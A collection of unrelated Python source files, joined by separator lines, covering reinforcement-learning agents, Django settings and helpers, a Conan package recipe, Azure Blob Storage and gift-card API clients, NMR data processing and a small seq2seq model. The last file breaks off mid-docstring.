print(intersection_extra_space(a, b))
print(intersection(a, b)) |
from dataclasses import astuple
import agent
import numpy as np
import torch
import torch.nn as nn
from agent import NNBase
from gym import Space
from gym.spaces import Box, Dict, Discrete, MultiDiscrete
from my.env import Obs
from transformers import CLIPModel
from utils import init
def get_size(space: Space):
if isinstance(space, (Box, MultiDiscrete)):
return int(np.prod(space.shape))
if isinstance(space, Discrete):
return 1
raise TypeError()
class Agent(agent.Agent):
def __init__(self, observation_space, **kwargs):
spaces = Obs(**observation_space.spaces)
super().__init__(
obs_shape=spaces.image.shape, observation_space=observation_space, **kwargs
)
def build_base(self, obs_shape, **kwargs):
return Base(**kwargs)
class ResidualBlock(nn.Module):
def __init__(self, channels: int):
super().__init__()
self.net = nn.Sequential(
nn.ReLU(),
nn.Conv2d(
channels, channels, kernel_size=(3, 3), stride=(1, 1), padding="same"
),
nn.ReLU(),
nn.Conv2d(
channels, channels, kernel_size=(3, 3), stride=(1, 1), padding="same"
),
)
def forward(self, x):
return x + self.net(x)
class Base(NNBase):
def __init__(
self,
clip: bool,
gpt_embeddings: bool,
hidden_size: int,
image_size: int,
observation_space: Dict,
recurrent: bool,
large_architecture: bool,
train_ln: bool,
train_wpe: bool,
):
self.observation_spaces = Obs(**observation_space.spaces)
if gpt_embeddings:
*_, self.mission_size = self.observation_spaces.mission.shape
else:
self.mission_size = 2048
super().__init__(
recurrent=recurrent,
recurrent_input_size=image_size + self.mission_size,
hidden_size=hidden_size,
)
self.clip = clip
self.train_wpe = train_wpe
self.train_ln = train_ln
self.embeddings = None if gpt_embeddings else self.build_embeddings()
image_shape = self.observation_spaces.image.shape
d, h, w = image_shape
if clip:
self.clip: CLIPModel = CLIPModel.from_pretrained(
"openai/clip-vit-base-patch32"
)
for name, p in self.clip.vision_model.named_parameters():
requires_grad = (self.train_wpe and "position_embedding" in name) or (
self.train_ln and "layer_norm" in name
)
p.requires_grad_(requires_grad)
else:
def get_image_net():
prev = d
if not large_architecture:
for (num_ch, kernel_size, stride) in [
(16, 8, 4),
(32, 4, 2),
]: # Downscale.
yield nn.Conv2d(
prev, num_ch, kernel_size=kernel_size, stride=stride
)
yield nn.ReLU()
prev = num_ch
else:
for (num_ch, num_blocks) in [
(16, 2),
(32, 2),
(32, 2),
]: # Downscale.
yield nn.Conv2d(prev, num_ch, kernel_size=(3, 3), stride=(1, 1))
yield nn.MaxPool2d(
kernel_size=(3, 3),
stride=[2, 2],
)
# Residual block(s).
for _ in range(num_blocks):
yield ResidualBlock(num_ch)
prev = num_ch
yield nn.ReLU()
yield nn.Flatten()
self._image_net = nn.Sequential(*get_image_net())
dummy_input = torch.zeros(1, d, h, w)
output = self.image_net(dummy_input)
self.image_linear = nn.Sequential(
nn.Linear(output.size(-1), image_size), nn.ReLU()
)
self._hidden_size = hidden_size
self._recurrent = recurrent
self.initial_hxs = nn.Parameter(self._initial_hxs)
init_ = lambda m: init(
m, nn.init.orthogonal_, lambda x: nn.init.constant_(x, 0)
)
self.critic_linear = init_(nn.Linear(hidden_size, 1))
def image_net(self, image: torch.Tensor):
if self.clip:
state = self.clip.vision_model(pixel_values=image).last_hidden_state
return state.mean(1)
return self._image_net(image)
def build_embeddings(self):
num_embeddings = self.observation_spaces.mission.high.max()
return nn.EmbeddingBag(int(num_embeddings) + 1, self.mission_size)
def embed(self, inputs):
if self.embeddings is not None:
return self.embeddings.forward(inputs.long())
return inputs
def forward(self, inputs, rnn_hxs, masks):
inputs = Obs(
*torch.split(
inputs,
[get_size(space) for space in astuple(self.observation_spaces)],
dim=-1,
)
)
image = inputs.image.reshape(-1, *self.observation_spaces.image.shape)
image = self.image_net(image)
image = self.image_linear(image)
mission = inputs.mission.reshape(-1, *self.observation_spaces.mission.shape)
n, l, e = mission.shape
flattened = mission.reshape(n * l, e)
states = self.embed(flattened)
states = states.reshape(n, l, -1)
mission = states.mean(1)
x = torch.cat([image, mission], dim=-1)
assert self.is_recurrent
x, rnn_hxs = self._forward_gru(x, rnn_hxs, masks)
return self.critic_linear(x), x, rnn_hxs
|
import argparse
import os
import sys
import zipfile
def parse_args(args_list):
"""Parse input arguments."""
parser = argparse.ArgumentParser(description='install cudnn')
parser.add_argument('zipfile', help='downloaded cudnn zip file')
args = parser.parse_args(args_list)
return args
def main(args_list):
args = parse_args(args_list)
print('Installing cudnn...')
with zipfile.ZipFile(args.zipfile, 'r') as zf:
zf.extractall('cudnn')
print('Done.')
if __name__ == '__main__':
main(sys.argv[1:])
|
"""Configuring Django Mutadi app for Heroku"""
import django_heroku
import sentry_sdk
from sentry_sdk.integrations.django import DjangoIntegration
from .base import *
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"]
DEBUG = False
ALLOWED_HOSTS = [os.environ["DJANGO_ALLOWED_HOSTS"]]
CSRF_COOKIE_SECURE = True
SESSION_COOKIE_SECURE = True
SECURE_HSTS_SECONDS = 15768000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
SECURE_SSL_REDIRECT = True
sentry_sdk.init(
dsn=os.environ["SENTRY_DSN"],
integrations=[DjangoIntegration()],
traces_sample_rate=1.0,
# If you wish to associate users to errors (assuming you are using
# django.contrib.auth) you may enable sending PII data.
send_default_pii=True,
)
# Activate Django-Heroku.
django_heroku.settings(locals())
|
import os
from conans import ConanFile, CMake, tools
from conans.errors import ConanInvalidConfiguration
required_conan_version = ">=1.33.0"
class LibBasisUniversalConan(ConanFile):
name = "libbasisu"
description = "Basis Universal Supercompressed GPU Texture Codec"
homepage = "https://github.com/BinomialLLC/basis_universal"
topics = ("conan", "basis", "textures", "compression")
url = "https://github.com/conan-io/conan-center-index"
license = "Apache-2.0"
exports_sources = ["CMakeLists.txt", "patches/*"]
generators = "cmake"
settings = "os", "compiler", "build_type", "arch"
options = {
"fPIC": [True, False],
"shared": [True, False],
"use_sse4": [True, False],
"with_zstd": [True, False],
"enable_encoder": [True, False],
"custom_iterator_debug_level": [True, False]
}
default_options = {
"fPIC": True,
"shared": False,
"use_sse4": False,
"with_zstd": True,
"enable_encoder": True,
"custom_iterator_debug_level": False
}
_cmake = None
@property
def _source_subfolder(self):
return "source_subfolder"
@property
def _build_subfolder(self):
return "build_subfolder"
def _use_custom_iterator_debug_level(self):
return self.options.get_safe("custom_iterator_debug_level", default=self.default_options["custom_iterator_debug_level"])
def config_options(self):
if self.settings.os == "Windows":
del self.options.fPIC
if self.settings.compiler != "Visual Studio":
del self.options.custom_iterator_debug_level
def _minimum_compiler_version(self) -> bool:
return {
"Visual Studio": "15",
"gcc": "5.4",
"clang": "3.9",
"apple-clang": "10"
}
def validate(self):
min_version = self._minimum_compiler_version().get(str(self.settings.compiler))
if not min_version:
self.output.warn("{} recipe lacks information about the {} compiler support.".format(
self.name, self.settings.compiler))
elif tools.Version(self.settings.compiler.version) < min_version:
raise ConanInvalidConfiguration("{} {} does not support compiler with version {} {}, minimum supported compiler version is {} ".format(self.name, self.version, self.settings.compiler, self.settings.compiler.version, min_version))
if self.settings.compiler.get_safe("cppstd"):
tools.check_min_cppstd(self, 11)
def configure(self):
if self.options.shared:
del self.options.fPIC
def source(self):
tools.get(**self.conan_data["sources"][self.version], strip_root=True, destination=self._source_subfolder)
def _configure_cmake(self):
if self._cmake:
return self._cmake
self._cmake = CMake(self)
self._cmake.definitions["SSE4"] = self.options.use_sse4
self._cmake.definitions["ZSTD"] = self.options.with_zstd
self._cmake.definitions["ENABLE_ENCODER"] = self.options.enable_encoder
self._cmake.definitions["NO_ITERATOR_DEBUG_LEVEL"] = not self._use_custom_iterator_debug_level()
self._cmake.configure(build_folder=self._build_subfolder)
return self._cmake
def build(self):
for patch in self.conan_data.get("patches", {}).get(self.version, []):
tools.patch(**patch)
cmake = self._configure_cmake()
cmake.build()
def package(self):
self.copy("LICENSE", dst="licenses", src=self._source_subfolder)
self.copy("*.h", dst=os.path.join("include", self.name, "transcoder"), src=os.path.join(self._source_subfolder, "transcoder"))
if self.options.enable_encoder:
self.copy("*.h", dst=os.path.join("include", self.name, "encoder"), src=os.path.join(self._source_subfolder, "encoder"))
self.copy(pattern="*.a", dst="lib", keep_path=False)
self.copy(pattern="*.so", dst="lib", keep_path=False)
self.copy(pattern="*.dylib*", dst="lib", keep_path=False)
self.copy(pattern="*.lib", dst="lib", keep_path=False)
self.copy(pattern="*.dll", dst="bin", keep_path=False)
def package_info(self):
self.cpp_info.libs = tools.collect_libs(self)
self.cpp_info.names["cmake_find_package"] = self.name
self.cpp_info.names["cmake_find_package_multi"] = self.name
self.cpp_info.includedirs = ["include", os.path.join("include", self.name)]
if self.settings.os == "Linux":
self.cpp_info.system_libs = ["m", "pthread"]
self.cpp_info.defines.append("BASISU_NO_ITERATOR_DEBUG_LEVEL={}".format("1" if self._use_custom_iterator_debug_level() else "0"))
|
from core import MLPActorCritic
import numpy as np
import torch
from torch.distributions import Normal
import torch.nn as nn
from torch.nn.modules import activation
from torch.nn import MSELoss
from torch.optim import Adam
import gym
import math
from skimage.transform import resize
from copy import deepcopy
# BipedalWalker-v3
pi_lr = 1e-3
qf_lr = 1e-3
# LunarLanderContinuous-v2
env = gym.make('BipedalWalker-v3').unwrapped
action_dim = env.action_space.shape[0]
state_dim = env.observation_space.shape[0]
act_limit = env.action_space.high[0]
episode_steps_num = 4000
episode_iters_num = 1000
max_steps_per_game = 500
train_iters_num = 50
clip_ratio = 0.2
height = 100
width = 100
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
device = 'cpu'
target_kl = 0.01
print('workon', device)
gamma = 0.99
polyak = 0.99
update_after = 1000
print(act_limit)
print(state_dim)
print(action_dim)
class Buffer:
def __init__(self, state_dim, action_dim, capactiy):
self.states = np.zeros((capactiy, state_dim))
self.next_states = np.zeros((capactiy, state_dim))
self.actions = np.zeros((capactiy, action_dim))
self.rewards = np.zeros(capactiy)
self.dones = np.zeros(capactiy)
self.capactiy = capactiy
self.current_index = 0
self.current_size = 0
def store(self, state, next_state, action, reward, done):
self.states[self.current_index] = state
self.next_states[self.current_index] = next_state
self.actions[self.current_index] = action
self.rewards[self.current_index] = reward
self.dones[self.current_index] = done
self.current_index = (self.current_index + 1) % self.capactiy
self.current_size = min(self.current_size + 1, self.capactiy)
def __len__(self):
return len(self.memory)
def batch(self, batch_size=128):
assert batch_size <= self.current_size
indexs = np.random.randint(0, self.current_size, size=batch_size)
batch = {'states': self.states[indexs],
'next_states': self.next_states[indexs],
'actions': self.actions[indexs],
'rewards': self.rewards[indexs],
'dones': self.dones[indexs]}
return batch
class Mlp(nn.Module):
def __init__(self, state_dim, action_dim, mid_n, out_activation=nn.Identity) -> None:
super().__init__()
self.net = nn.Sequential(nn.Linear(state_dim, mid_n), nn.ReLU(),
nn.Linear(mid_n, mid_n), nn.ReLU(),
nn.Linear(mid_n, mid_n), nn.ReLU(),
nn.Linear(mid_n, action_dim), out_activation())
def forward(self, x):
return self.net(x)
class Agent:
def __init__(self, state_dim, action_dim) -> None:
self.pi = Mlp(state_dim, action_dim, 64, nn.Tanh)
self.qf = Mlp(state_dim + action_dim, 1, 64)
self.pi_target = deepcopy(self.pi)
self.qf_target = deepcopy(self.qf)
# for p in self.pi_target.parameters():
# p.requires_grad = False
# for p in self.qf_target.parameters():
# p.requires_grad = False
self.pi_optim = Adam(self.pi.parameters(), lr=pi_lr)
self.qf_optim = Adam(self.qf.parameters(), lr=qf_lr)
# # Create actor-critic module and target networks
# self.ac = MLPActorCritic(env.observation_space, env.action_space)
# self.ac_targ = deepcopy(self.ac)
# # Freeze target networks with respect to optimizers (only update via polyak averaging)
# for p in self.ac_targ.parameters():
# p.requires_grad = False
# self.pi_optim = Adam(self.ac.pi.parameters(), lr=pi_lr)
# self.qf_optim = Adam(self.ac.q.parameters(), lr=qf_lr)
def step(self, state, noise_scale):
with torch.no_grad():
state = torch.FloatTensor(state)
action = act_limit * self.pi(state).numpy()
action += noise_scale * np.random.randn(action_dim)
# action = self.ac.act(torch.as_tensor(state, dtype=torch.float32))
# action += noise_scale * np.random.randn(action_dim)
return np.clip(action, -act_limit, act_limit)
def learn(self, batch):
states = torch.FloatTensor(batch['states'])
next_states = torch.FloatTensor(batch['next_states'])
actions = torch.FloatTensor(batch['actions'])
rewards = torch.FloatTensor(batch['rewards'])
dones = torch.BoolTensor(batch['dones'])
q_value = self.qf(torch.cat([states, actions], dim=-1))
with torch.no_grad():
q_next_value = self.qf_target(torch.cat([next_states, self.pi_target(next_states)], dim=-1))
q_next_value[dones] = 0
q_target_value = rewards.unsqueeze(-1) + gamma * q_next_value
qf_loss = MSELoss()(q_target_value, q_value)
self.qf_optim.zero_grad()
qf_loss.backward()
self.qf_optim.step()
# frezee qf param
for param in self.qf.parameters():
param.requires_grad = False
pi_loss = -self.qf(torch.cat([next_states, self.pi(next_states)], dim=-1)).mean()
self.pi_optim.zero_grad()
pi_loss.backward()
self.pi_optim.step()
for param in self.qf.parameters():
param.requires_grad = True
with torch.no_grad():
for param, param_target in zip(self.qf.parameters(), self.qf_target.parameters()):
param_target.data.mul_(polyak)
param_target.data.add_((1 - polyak) * param.data)
for param, param_target in zip(self.pi.parameters(), self.pi_target.parameters()):
param_target.data.mul_(polyak)
param_target.data.add_((1 - polyak) * param.data)
# self.qf_target.load_state_dict(self.qf.state_dict())
# self.pi_target.load_state_dict(self.pi.state_dict())
return pi_loss.item(), qf_loss.item()
agent = Agent(state_dim, action_dim)
buffer = Buffer(state_dim, action_dim, int(1e6))
pi_loss_list = []
qf_loss_list = []
return_list = []
for episode_i in range(episode_iters_num):
state = env.reset()
total_reward = 0
step_index = 0
for step_i in range(episode_steps_num):
action = agent.step(state, 0.3)
next_state, reward, done, _ = env.step(action)
if(step_index == max_steps_per_game - 1):
done = True
# reward = -100
buffer.store(state, next_state, action, reward, done)
state = next_state
total_reward += reward
step_index += 1
if done:
state = env.reset()
return_list.append(total_reward)
total_reward = 0
step_index = 0
if step_i >= update_after and step_i % train_iters_num == 0:
for i in range(train_iters_num):
pi_loss, qf_loss = agent.learn(buffer.batch())
pi_loss_list.append(pi_loss)
qf_loss_list.append(qf_loss)
if(episode_i % 40 == 0 and episode_i != 0):
state = env.reset()
total_reward = 0
for step_i in range(max_steps_per_game):
action = agent.step(state, 0)
state, reward, done, _ = env.step(action)
env.render()
if(step_index == max_steps_per_game - 1):
done = True
total_reward += reward
if done:
print('test | return: {}'.format(total_reward))
break
if(episode_i % 1 == 0):
print('episode {}| pi_loss {} qf_loss {} return {}'.format(
episode_i,
format(np.mean(pi_loss_list), '.3f'),
format(np.mean(qf_loss_list), '.3f'),
format(np.mean(return_list), '.2f')))
pi_loss_list = []
qf_loss_list = []
return_list = []
|
from django.conf import settings
from . import models
def init_paging_details(page_number):
page_size = settings.PAGE_SIZE
start = (page_number - 1) * page_size
return models.PagingDetails(
page_number=page_number,
start_record=start,
end_record=start + page_size,
prev_page="",
next_page="",
)
def set_paging_links(paging, url):
number_of_items = paging.end_record - paging.start_record
if number_of_items >= settings.PAGE_SIZE:
paging.next_page = url + "?pageNo=" + str(paging.page_number + 1)
if paging.page_number > 1 :
paging.prev_page = url + "?pageNo=" + str(paging.page_number -1)
|
"""
Use of this source code is governed by the MIT license found in the LICENSE file.
Socket connection
"""
import time
import threading
import logging
from queue import Queue
import socket
from plugwise.constants import SLEEP_TIME
from plugwise.connections.connection import StickConnection
from plugwise.message import PlugwiseMessage
from plugwise.util import PlugwiseException
class SocketConnection(StickConnection):
"""
Wrapper for Socket connection configuration
"""
def __init__(self, device, stick=None):
StickConnection.__init__(self)
self.logger = logging.getLogger("plugwise")
self._device = device
self.stick = stick
# get the address from a <host>:<port> format
addr = device.split(":")
addr = (addr[0], int(addr[1]))
try:
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._socket.connect(addr)
except Exception:
self.logger.error(
"Could not open socket, \
no messages are read or written to the bus"
)
raise plugwiseException("Could not open socket port")
# build a read thread
self._listen_process = threading.Thread(
None, self.read_daemon, "plugwise-process-reader", (), {}
)
self._listen_process.daemon = True
self._listen_process.start()
# build a writer thread
self._write_queue = Queue()
self._write_process = threading.Thread(
None, self.write_daemon, "plugwise-connection-writer", (), {}
)
self._write_process.daemon = True
self._write_process.start()
def stop_connection(self):
"""Close the socket."""
self.logger.warning("Stop executed")
try:
self._socket.close()
except Exception:
self.logger.error("Error while closing socket")
raise plugwiseException("Error while closing socket")
time.sleep(1)
def feed_parser(self, data):
"""Parse received message."""
assert isinstance(data, bytes)
self.stick.feed_parser(data)
def send(self, message, callback=None):
"""Add message to write queue."""
assert isinstance(message, PlugwiseMessage)
self._write_queue.put_nowait((message, callback))
def read_daemon(self):
"""Read thread."""
while True:
data = self._socket.recv(9999)
self.feed_parser(data)
def write_daemon(self):
"""Write thread."""
while True:
(message, callback) = self._write_queue.get(block=True)
self.logger.info("Sending message on USB bus: %s", str(message))
self.logger.error("Sending binary message: %s", str(message.serialize()))
self._socket.send(message.serialize())
time.sleep(SLEEP_TIME)
if callback:
callback()
|
import requests
url = "https://giftcards.reloadly.com/reports/transactions?startDate=2021-06-01 00:00:00&endDate=2021-06-18 23:17:02"
payload={}
headers = {
'Authorization': 'Bearer eyJraXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',
'Content-Type': 'application/json',
'Accept': 'application/com.reloadly.giftcards-v1+json'
}
response = requests.request("GET", url, headers=headers, data=payload)
print(response.text) |
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
"""Uses the Azure Python SDK to interact with Azure Blob Storage."""
import datetime
from typing import Any, List, Optional
import pandas as pd
from azure.common.exceptions import CloudError
from azure.core.exceptions import (
ResourceExistsError,
ResourceNotFoundError,
ServiceRequestError,
)
from azure.storage.blob import BlobServiceClient, generate_blob_sas
from ...common.azure_auth import az_connect
from ...common.azure_auth_core import AzCredentials, AzureCloudConfig
class AzureBlobStorage:
"""Class for interacting with Azure Blob Storage."""
def __init__(
self,
abs_name: str = None,
connect: bool = False,
abs_connection_string: str = None,
):
"""Initialize connector for Azure Python SDK."""
self.connected = False
self.abs_site = f"{abs_name}.blob.core.windows.net"
self.connection_string = abs_connection_string
self.credentials: Optional[AzCredentials] = None
self.abs_client: Optional[BlobServiceClient] = None
if connect:
self.connect()
def connect(
self,
auth_methods: List = None,
silent: bool = False,
):
"""Authenticate with the SDK."""
self.credentials = az_connect(auth_methods=auth_methods, silent=silent)
if not self.credentials:
raise CloudError("Could not obtain credentials.")
if not self.connection_string:
self.abs_client = BlobServiceClient(self.abs_site, self.credentials.modern)
else:
self.abs_client = BlobServiceClient.from_connection_string(
self.connection_string
)
if not self.abs_client:
raise CloudError("Could not create a Blob Storage client.")
self.connected = True
def containers(self) -> pd.DataFrame:
"""Return containers in the Azure Blob Storage Account."""
try:
container_list = self.abs_client.list_containers() # type:ignore
except ServiceRequestError as err:
raise CloudError(
"Unable to connect check the Azure Blob Store account name"
) from err
return (
_parse_returned_items( # type:ignore
container_list, remove_list=["lease", "encryption_scope"]
)
if container_list
else None
)
def create_container(self, container_name: str, **kwargs) -> pd.DataFrame:
"""
Create a new container within the Azure Blob Storage account.
Parameters
----------
container_name : str
The name for the new container.
Additional container parameters can be passed as kwargs
Returns
-------
pd.DataFrame
Details of the created container.
"""
try:
new_container = self.abs_client.create_container( # type: ignore
container_name, **kwargs
) # type:ignore
except ResourceExistsError as err:
raise CloudError(f"Container {container_name} already exists.") from err
properties = new_container.get_container_properties()
return _parse_returned_items([properties], ["encryption_scope", "lease"])
def blobs(self, container_name: str) -> Optional[pd.DataFrame]:
"""
Get a list of blobs in a container.
Parameters
----------
container_name : str
The name of the container to get blobs from.
Returns
-------
pd.DataFrame
Details of the blobs.
"""
container_client = self.abs_client.get_container_client(container_name) # type: ignore
blobs = list(container_client.list_blobs())
return _parse_returned_items(blobs) if blobs else None
def upload_to_blob(
self, blob: Any, container_name: str, blob_name: str, overwrite: bool = True
):
"""
Upload a blob of data.
Parameters
----------
blob : Any
The data to upload.
container_name : str
The name of the container to upload the blob to.
blob_name : str
The name to give the blob.
overwrite : bool, optional
Whether or not you want to overwrite the blob if it exists, by default True.
"""
try:
blob_client = self.abs_client.get_blob_client( # type:ignore
container=container_name, blob=blob_name
)
upload = blob_client.upload_blob(blob, overwrite=overwrite)
except ResourceNotFoundError as err:
raise CloudError(
"Unknown container, check container name or create it first."
) from err
if not upload["error_code"]:
print("Upload complete")
else:
raise CloudError(
f"There was a problem uploading the blob: {upload['error_code']}"
)
return True
def get_blob(self, container_name: str, blob_name: str) -> bytes:
"""
Get a blob from the Azure Blob Storage account.
Parameters
----------
container_name : str
The name of the container that holds the blob.
blob_name : str
The name of the blob to download.
Returns
-------
bytes
The content of the blob in bytes.
"""
blob_client = self.abs_client.get_blob_client( # type: ignore
container=container_name, blob=blob_name
)
if not blob_client.exists():
raise CloudError(f"The blob {blob_name} does not exist in {container_name}")
data_stream = blob_client.download_blob()
return data_stream.content_as_bytes()
def delete_blob(self, container_name: str, blob_name: str) -> bool:
"""
Delete a blob from the Azure Blob Storage account.
Parameters
----------
container_name : str
The container name that has the blob.
blob_name : str
The name of the blob to delete.
Note deleting a blob also deletes associated snapshots.
Returns
-------
bool
True if blob successfully deleted
"""
blob_client = self.abs_client.get_blob_client( # type: ignore
container=container_name, blob=blob_name
)
if blob_client.exists():
blob_client.delete_blob(delete_snapshots="include")
else:
raise CloudError(f"The blob {blob_name} does not exist in {container_name}")
return True
def get_sas_token(
self,
container_name: str,
blob_name: str,
end: datetime.datetime = None,
permission: str = "r",
) -> str:
"""
Generate a shared access string (SAS) token for a blob.
Parameters
----------
container_name : str
The name of the Azure Blob Storage container that holds the blob.
blob_name : str
The name of the blob to generate the SAS token for.
end : datetime.datetime, optional
The datetime the SAS token should expire, by default this is 7 days from now.
permission : str, optional
The permissions to give the SAS token, by default 'r' for read.
Returns
-------
str
A URI of the blob with SAS token.
"""
start = datetime.datetime.now()
if not end:
end = start + datetime.timedelta(days=7)
key = self.abs_client.get_user_delegation_key(start, end) # type: ignore
abs_name = self.abs_client.account_name # type: ignore
sast = generate_blob_sas(
abs_name,
container_name,
blob_name,
user_delegation_key=key,
permission=permission,
expiry=end,
start=start,
)
suffix = AzureCloudConfig().suffixes.storage_endpoint
return f"https://{abs_name}.blob.{suffix}/{container_name}/{blob_name}?{sast}"
def _parse_returned_items(items, remove_list: list = None) -> pd.DataFrame:
"""Parse a list of containers into a DataFrame."""
out_items = []
for item in items:
item = dict(item)
if remove_list:
for remove_item in remove_list:
item.pop(remove_item)
out_items.append(item)
return pd.json_normalize(out_items)
|
#! /usr/bin/env python
# XXX origin and center are incorrect
import nmrglue as ng
# read in the file
dic,data = ng.pipe.read("../common_data/2d_pipe_tppi/test.fid")
# process the direct dimension
dic,data = ng.pipe_proc.sp(dic,data,off=0.35,end=0.98,pow=2,c=1.0)
dic,data = ng.pipe_proc.zf(dic,data,auto=True)
dic,data = ng.pipe_proc.ft(dic,data,auto=True)
dic,data = ng.pipe_proc.ps(dic,data,p0=151.0,p1=0.0)
dic,data = ng.pipe_proc.di(dic,data)
# process the indirect dimension
dic,data = ng.pipe_proc.tp(dic,data)
dic,data = ng.pipe_proc.sp(dic,data,off=0.35,end=0.98,pow=2,c=0.5)
dic,data = ng.pipe_proc.zf(dic,data,auto=True)
dic,data = ng.pipe_proc.ft(dic,data,auto=True)
dic,data = ng.pipe_proc.ps(dic,data,p0=0.0,p1=0.0)
dic,data = ng.pipe_proc.di(dic,data)
dic,data = ng.pipe_proc.rev(dic,data,sw=True)
dic,data = ng.pipe_proc.tp(dic,data)
# write out processed data
ng.pipe.write("2d_pipe_tppi.ft2",dic,data,overwrite=True)
# check against a file processed with NMRPipe
dic1,data1 = ng.pipe.read("../common_data/2d_pipe_tppi/test.ft2")
dic2,data2 = ng.pipe.read("2d_pipe_tppi.ft2")
print ng.misc.pair_similar(dic1,data1,dic2,data2,verb=True)
|
from django.db import models
from appregister.base import Registry
class Question(models.Model):
pass
class BooleanQuestion(Question):
pass
class MultipleChoiceQuestion(Question):
pass
# Setting up the registry.
class QuestionRegistry(Registry):
base = Question
discovermodule = 'questions'
registry = QuestionRegistry()
registry.register(BooleanQuestion)
registry.register(MultipleChoiceQuestion)
|
# -*- coding: Utf-8 -*
import os
import sys
from typing import Callable
def __set_constant_path(path_exists: Callable[[str], bool], path: str, *paths: str, special_msg=None, raise_error=True) -> str:
all_path = os.path.join(path, *paths)
if not os.path.isabs(all_path):
all_path = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), all_path)
if not path_exists(all_path) and raise_error:
if special_msg:
raise FileNotFoundError(f"{special_msg}: {all_path}")
raise FileNotFoundError(f"{all_path} folder not found")
return all_path
def set_constant_directory(path, *paths, special_msg=None, raise_error=True) -> str:
return __set_constant_path(os.path.isdir, path, *paths, special_msg=special_msg, raise_error=raise_error)
def set_constant_file(path, *paths, special_msg=None, raise_error=True) -> str:
return __set_constant_path(os.path.isfile, path, *paths, special_msg=special_msg, raise_error=raise_error)
|
# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/items.html
import scrapy
class PropertyScrapperItem(scrapy.Item):
address = scrapy.Field()
suburb = scrapy.Field()
description = scrapy.Field()
sold_date = scrapy.Field()
sold_price = scrapy.Field()
bed = scrapy.Field()
bath = scrapy.Field()
parking = scrapy.Field()
property_type = scrapy.Field()
floorplan_url = scrapy.Field()
photo_url = scrapy.Field()
sales_type = scrapy.Field()
|
# já colocando .strip() para tirar os espaços do início e fim da string e o upper() para maiúscula
frase = str(input('Digite a frase: ')).strip().upper()
# para separar as palavras como em uma lista
palavras = frase.split()
# aqui abaixo a função join aglutina as palavras da lista
juntar_palavras = ''.join(palavras)
size = len(juntar_palavras)
inverso = ''
# size-1 / vai começar do fim da palavra, -1 / mostra até onde o programa tem que ir, -1 / vai pulando de 1 em 1 negativamente
for c in range(size-1, -1, -1):
inverso += juntar_palavras[c]
if inverso == juntar_palavras:
print('Há um Palíndromo na frase: {}\nSendo ela: {} de trás para frente'.format(frase, inverso))
else:
print('Não há um Palíndromo na frase: {} / {}'.format(frase, inverso))
|
import torch
import torch.nn as nn
import torch.nn.functional as F
from parlai.core.torch_agent import TorchAgent, Output
from torch import optim
import global_variables as gl
class BagOfNGrams(nn.Module):
def init_layers(self):
for l in self.layers:
if getattr(l, 'weight', None) is not None:
torch.nn.init.xavier_uniform_(l.weight)
def __init__(self, vocab_size, emb_dim=300, hidden_size=256, out_size=128, reduce='sum', nlayers=2, activation='ReLU', dropout=0.1, batch_norm=False):
super(BagOfNGrams, self).__init__()
self.emb_dim = emb_dim
self.reduce = reduce
self.nlayers = nlayers
self.hidden_size = hidden_size
self.out_size = out_size
self.activation = getattr(nn, activation)
self.embedding = nn.EmbeddingBag(num_embeddings=vocab_size, embedding_dim=emb_dim, mode=reduce)
if batch_norm is True:
self.batch_norm = nn.BatchNorm1d(self.emb_dim)
self.layers = nn.ModuleList([nn.Linear(self.emb_dim, self.hidden_size)])
self.layers.append(self.activation())
self.layers.append(nn.Dropout(p=dropout))
for i in range(self.nlayers-2):
self.layers.append(nn.Linear(self.hidden_size, self.hidden_size))
self.layers.append(self.activation())
self.layers.append(nn.Dropout(p=dropout))
self.layers.append(nn.Linear(self.hidden_size, self.out_size))
self.init_layers()
def forward(self, x):
postemb = self.embedding(x)
if hasattr(self, 'batch_norm'):
x = self.batch_norm(postemb)
else:
x = postemb
for l in self.layers:
x = l(x)
return x
class DecoderMLP(nn.Module):
"""Generates a token in response to context."""
def __init__(self, input_size=128, output_size=1024, hidden_size=256):
"""Initialize decoder.
:param input_size: size of embedding
:param output_size: size of vocabulary
:param hidden_size: size of the linear layers
"""
super().__init__()
self.linear = nn.Linear(input_size, hidden_size)
self.out = nn.Linear(hidden_size, output_size)
self.log_softmax = nn.LogSoftmax(dim=1)
def forward(self, input):
"""Return encoded state.
:param input: batch_size x 1 tensor of token indices.
:param hidden: past (e.g. encoder) hidden state
"""
output = F.relu(self.linear(input))
scores = self.log_softmax(self.out(output))
return scores
class seq2seq(nn.Module):
def __init__(self, encoder, decoder, id2token, lr = 1e-3, use_cuda = True,
longest_label = 20, clip = 0.3, size_ngrams = 10):
super(seq2seq, self).__init__()
device = torch.device("cuda" if (torch.cuda.is_available() and use_cuda) else "cpu")
self.device = device;
self.encoder = encoder.to(device)
self.decoder = decoder.to(device)
self.size_ngrams = size_ngrams
self.id2token = id2token
self.longest_label = longest_label
# set up the criterion
self.criterion = nn.NLLLoss()
self.optims = {
'nmt': optim.SGD(self.parameters(), lr=lr, nesterov=True, momentum = 0.99)
}
self.clip = clip
self.START = torch.LongTensor([gl.SOS_IDX]).to(device)
self.END_IDX = gl.EOS_IDX
def save_model(self, filename):
state_dict = self.state_dict()
torch.save(state_dict, filename)
def load_model(self, filename):
state_dict = torch.load(filename)
self.load_state_dict(state_dict)
def zero_grad(self):
"""Zero out optimizer."""
for optimizer in self.optims.values():
optimizer.zero_grad()
def update_params(self):
"""Do one optimization step."""
if self.clip is not None:
torch.nn.utils.clip_grad_norm_(self.encoder.parameters(), self.clip)
torch.nn.utils.clip_grad_norm_(self.decoder.parameters(), self.clip)
for optimizer in self.optims.values():
optimizer.step()
def v2t(self, vector):
return [self.id2token[i] for i in vector]
def train_step(self, xs, ys):
"""Train model to produce ys given xs.
:param batch: parlai.core.torch_agent.Batch, contains tensorized
version of observations.
Return estimated responses, with teacher forcing on the input sequence
